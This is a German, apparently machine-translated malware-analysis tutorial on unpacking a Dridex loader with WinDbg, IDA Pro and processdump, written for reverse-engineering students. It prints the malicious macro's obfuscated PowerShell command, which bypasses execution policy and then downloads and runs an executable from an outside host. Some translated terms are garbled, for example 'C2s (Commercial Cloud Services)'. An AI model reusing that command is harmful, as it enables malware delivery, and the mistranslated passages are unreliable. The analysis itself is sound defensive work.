Auspacken: Dridex Bootloader

Gute Nacht Freunde! In weniger als einem Monat beginnt der Reverse Engineering- Kurs bei uns, und in diesem Zusammenhang teilen wir traditionell nützliches Material zu diesem Thema.

Einige Leser hatten Probleme beim Entpacken des Bootloaders für Dridex (der vom Makro zurückgesetzt wurde). Daher werde ich Ihnen heute einen einfachen Weg zeigen, dies zu tun. Ein weiteres Problem, das Menschen nicht lösen können, das ich nicht lösen kann, ist die Tatsache, dass Dridex-Infektionsketten eine sehr kurze Lebensdauer haben, was es für die meisten Menschen fast unmöglich macht, es umzukehren. Ich werde erklären warum.

Die aktuelle Dridex-Infektionskette hat ungefähr 4 Stadien:

1. In einem Office-Dokument, das ein Makro enthält, wird ein Powershell-Skript ausgeführt.
2. Ein Powershell-Skript, das den gepackten Bootloader von einer gehackten Site oder einem Sharepoint herunterlädt und ausführt.
3. Ein gepackter Bootloader, der sich selbst entpackt und Code in einen neu erstellten spoolsrv- oder svchost-Prozess einfügt.
4. Ein eingebetteter Prozess, der den Loader-Server kontaktiert, um die echte Binärdatei des Bots abzurufen und auszuführen.

Das Problem für Analysten besteht darin, dass es hier zwei Fehlerquellen gibt: Die gehackte Site, auf der sich der Bootloader befindet, kann das Sharepoint-Konto entweder löschen oder löschen, oder der Bootloader-Server kann gestoppt werden (eine davon verhindert eine erfolgreiche Infektion). Darüber hinaus unterstützen Loader-Server häufig Geofence (sie funktionieren nur, wenn sich Ihre IP in dem Land befindet, für das sie bestimmt ist, und kein VPN). Sobald der Bootloader öffentlich heruntergeladen wird, kann die Dridex-Gruppe ihn auf die schwarze Liste setzen indem jeder, der es ausführt, dauerhaft daran gehindert wird, C2s (Commercial Cloud Services) zu kontaktieren.

Was an all diesen „Fehlern“ überrascht, ist, dass sie wahrscheinlich beabsichtigt sind. Die meisten Opfer, die infizierte E-Mails erhalten, öffnen diese innerhalb weniger Werktage. Danach analysieren die meisten Personen, die die E-Mail öffnen, die Malware. Daher ist es hilfreich, dass alles innerhalb einer Woche verschwindet.

Damit die Leser diese Lektion in der Praxis üben können, gibt es eine Zip-Datei, die ein schädliches Office-Dokument und einen gepackten Loader aus derselben Kette enthält, sodass Sie sich keine Gedanken über tote URLs machen müssen (Passwort: infiziert). Was die Server mit dem Bootloader-Geofence betrifft, kann ich nichts dagegen tun. Da der Bootloader bereits zurückgerufen wurde, werden Sie zum Starten auf die schwarze Liste gesetzt (wenn Sie nicht wissen, wie Sie die schwarze Liste umgehen können, befolgen Sie diese Lektion in der neuen VM (virtuelle Maschine). und vielleicht die IP nach ändern).

Einen Packaged Loader bekommen

Zuerst möchten Sie ein schädliches Dokument in Word öffnen, aber noch nicht auf "Inhalt einschließen" klicken. Öffnen Sie den Debugger (wie üblich verwende ich WinDbg), verbinden Sie ihn mit winword.exe, setzen Sie einen Haltepunkt auf CreateProcessW, setzen Sie den Vorgang fort und klicken Sie dann auf "Inhalt aktivieren".



Mit neuen Dridex-Mustern wird ein Haltepunkt fast sofort erreicht (einige virtuelle Maschinen werden möglicherweise erkannt. Wenn ein Haltepunkt nicht funktioniert, sollten Sie Ihre virtuelle Maschine maskieren).

Wir möchten den 1. und 2. CreateProcess-Parameter (den Pfad zu den Anwendungs- und Befehlszeilenparametern) entladen. Dies können wir mit den folgenden Befehlen tun:

du / c100 poi (esp + 4)

du / c100 poi (esp + 8)

Hinweis: Der Befehl du setzt eine Unicode-Zeichenfolge zurück, die auf Null endet, / c 100 setzt die Spaltenbegrenzung auf Maximum und poi (esp + 4) liest die Adresse, auf die esp + 4 zeigt. Ergebnisse, die ich bekam:

Anwendung: C: \ Windows \ System32 \ cmd.exe

Parameter: "C: \ Windows \ System32 \ cmd.exe" / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Benutzer \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Hier beobachten wir, wie ein böswilliges Makro cmd.exe mit einem Befehl startet, um Powershell zu starten, die Ausführungsrichtlinie zu umgehen und dann die ausführbare Datei zu laden und auszuführen. Wenn wir die Verkettung von Zeichenfolgen und Zeichen entfernen, die nur eine Verschleierung darstellen, erhalten wir Folgendes:

"C: \ Windows \ System32 \ cmd.exe" / c Powershell-Ausführungsrichtlinie umgehen -noprofile-Befehl (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Benutzer \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); Startprozess' C: \ Benutzer \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Jetzt können wir die exe-Datei einfach manuell von littlwnowern [.] Top / lukaku / herunterladen (URL ist jetzt tot, aber ich habe die Binärdatei als "GksagD.exe.sample" in das Archiv hochgeladen), es ist ein gepackter Loader.

Bootloader auspacken

Zuerst müssen wir DEP (Data Execution Prevention) für alle Anwendungen aktivieren, der Grund dafür wird später klar. Gehen Sie dazu zu "Systemsteuerung"> "System und Sicherheit"> "System"> "Erweiterte Systemeinstellungen"> "Einstellungen" (im Abschnitt "Leistung") -> "Verhinderung der Datenausführung" und aktivieren Sie DEP für alle Programme.



Als Nächstes öffnen wir die exe-Datei im PE-Explorer und setzen das Flag "Relocation Stripped" im PE-Header. Dadurch wird verhindert, dass ASLR die ausführbare Datei bei jedem Start an eine andere Adresse herunterlädt, was die Umkehrung vereinfacht.





Speichern Sie nun die ausführbare Datei und öffnen Sie sie in IDA Pro.

In der Regel erstellen Dridex-Loader den Prozess svchost.exe oder spoolsv.exe und fügen sich selbst in ihn ein, sodass wir wissen, dass der entpackte Code wahrscheinlich CreateProcess aufruft. Um dies zu überprüfen, setzen Sie einen Haltepunkt am Ende von CreateProcessW (in der ret-Anweisung) und klicken Sie auf Ausführen.



Sobald der Haltepunkt erreicht ist, sollten Sie sehen, dass GksagD.exe erwartungsgemäß einen angehaltenen Prozess namens svchost.exe oder spoolsv.exe erstellt hat. Wenn wir einen Schritt unternehmen, um von CreateProcessW zu dem Code zurückzukehren, der ihn aufgerufen hat, werden wir Folgendes erfüllen.



Die IDA hat die Anweisungen fragmentiert, was bedeutet, dass der Code seit dem Start der ausführbaren Datei geändert wurde. Dies ist normalerweise das Ergebnis des Entpackens (häufig verwenden Malware-Packer hohle Prozesse, um den entpackten Code in einen anderen Prozess zu schreiben, echte Packer entpacken den Code in denselben Prozess).

Jetzt wissen wir, dass der ausführbare Hauptcode irgendwann ersetzt wird. An der aktuellen Adresse können wir einen Haltepunkt für den Datensatz setzen, der ausgelöst wird, wenn sich der Code ändert.



Löschen Sie danach alle anderen Haltepunkte und starten Sie den Prozess neu.



Der Haltepunkt wurde von einer Adresse außerhalb des Hauptabschnitts der ausführbaren Dateien aufgerufen. Dies bedeutet, dass der Packer etwas Speicher zugewiesen und dann Code kopiert hat, um das Ersetzen der ausführbaren Hauptdatei zu gewährleisten.

Wenn wir uns den Speicher in Process Hacker ansehen, werden wir feststellen, dass er jetzt lesbar und beschreibbar, aber nicht ausführbar ist. Dies ist in Ordnung, da der Packer diesen Code nicht mehr verwendet.



Nun zu einigen Schlussfolgerungen der Sherlock-Ebene: Wir wissen, dass der Code hier später ausgeführt wird und der Speicher derzeit nicht ausführbar ist, sodass er möglicherweise irgendwann ausführbar wird.

Die zum Konfigurieren des Speicherschutzes verwendete Funktion ist normalerweise VirtualAlloc, VirtualAllocEx oder NtProtectVirtualMemory. Wenn Sie mit den internen Komponenten von Windows vertraut sind, wissen Sie, dass sowohl VirtualAlloc als auch VirtualAllocEx NtProtectVirtualMemory intern aufrufen. Daher legen wir hier den Haltepunkt fest.

Wir könnten jedes Mal, wenn NtProtectVirtualMemory aufgerufen wird, den Aufrufstapel überprüfen, warten, bis die entsprechende Adresse als ausführbar festgelegt wurde, und dann den PE-Header analysieren, um einen neuen Einstiegspunkt zu finden, oder wir könnten schlauer sein.

Wir werden einen bedingten Haltepunkt für NtProtectVirtualMemory mithilfe des folgenden Skripts festlegen:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; 

Gehen Sie dazu zu NtProtectVirtualMemory und legen Sie einen Haltepunkt für das erste Byte fest. Klicken Sie mit der rechten Maustaste auf> Haltepunkt ändern, klicken Sie auf die Schaltfläche "..." und fügen Sie das Skript ein.

Dieses Skript wird bei jedem Aufruf von NtProtectVirtualMemory ausgeführt und führt folgende Aktionen aus:

• Stellen Sie sicher, dass der Seitenschutzparameter (esp + 0x10) 0x10, 0x20 oder 0x40 ist (auch bekannt als PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE). Dies bedeutet, dass der Aufruf den Seitenschutz in ausführbar ändert.
• Stellen Sie sicher, dass die Zieladresse im Bereich des ausführbaren Hauptabschnitts liegt (0x400000 - 0x42e000).
• Ändern Sie die Sicherheitseinstellung in 0x04 (nicht ausführbar).
• Rückgabe 0 (Ausführung fortsetzen, anstatt den Debugger zu unterbrechen).

Lass uns rennen und sehen, was passiert.



Ausnahme für Zugriffsverletzungen! Nehmen Sie sich etwas Zeit, um den Moment zu genießen, da dies wahrscheinlich der einzige schwerwiegende Fehler bei Zugriffsverletzungen ist, den Sie jemals gesehen haben ... aber warum ist er gut?

Unser Haltepunktskript in NtProtectVirtualMemory hat den gesamten Speicher als nicht ausführbar festgelegt, als der Packer versuchte, ihn auf ausführbar festzulegen. Die Ausnahme bedeutet, dass alles, was der Packer in den Speicher geschrieben hat, jetzt erfolgreich geschrieben wurde und er versucht, etwas in diesem Speicher aufzurufen. Wenn wir Glück haben, hat der Packer den entpackten Bootloader in den Speicher geschrieben, und die Adresse, die er anzurufen versucht hat, ist der Einstiegspunkt, oder?

Zu diesem Zweck verwenden wir ein erstaunliches Tool namens processdump ( Download-Link ), das Speicherauszüge aller in den Prozessspeicher geladenen exe- oder dll-Images erstellt und diese wieder in EXE- oder DLL-Dateien packt.

Verwenden Sie "pd32.exe -pid", um den Prozess zu sichern.

Verwenden Sie "pd32.exe -pid <Prozess-ID>", um den Prozess zu entladen.



Die Nummer am Ende des Dateinamens ist die Basisadresse des Bilds im Speicher. Daher entspricht GksagD_exe_GksagD.exe_400000.exe dem zugeordneten Packer anstelle der alten ausführbaren Datei. Wir werden sie daher in der IDA betrachten.



Die Einstiegspunktadresse ist dieselbe wie die Ausnahmeadresse, es handelt sich um eine entpackte ausführbare Datei!

Tipps umkehren

Der Bootloader ist kompliziert, da alle Zeichenfolgen verschlüsselt sind und kein Import erfolgt. Die Methoden, die ich in meinen Dridex-Handbüchern ausführlich beschrieben habe, funktionieren jedoch auch mit dem Bootloader.

Schauen Sie mal rein:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html

und

https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

Hinweis: Die ausführbare Bootloader-Datei ist vielseitig einsetzbar (dies ist der Code, der svchost / spoolsv implementiert, und der Code, der svchost / spoolsv implementiert). Wenn Sie den Injektionsteil des Bootloaders umkehren möchten, öffnen Sie ihn einfach in der IDA und führen Sie ihn aus. Wenn Sie den Boot-Teil umkehren möchten, müssen Sie ihn auf system32 kopieren und von dort aus ausführen (achten Sie darauf, dass der Bootloader in beiden Fällen nach seiner Ausführung selbst gelöscht wird).

Wenn Sie das Material nützlich finden, setzen Sie ein Plus, schreiben Sie Kommentare und melden Sie sich für eine offene Lektion an , die heute stattfinden wird!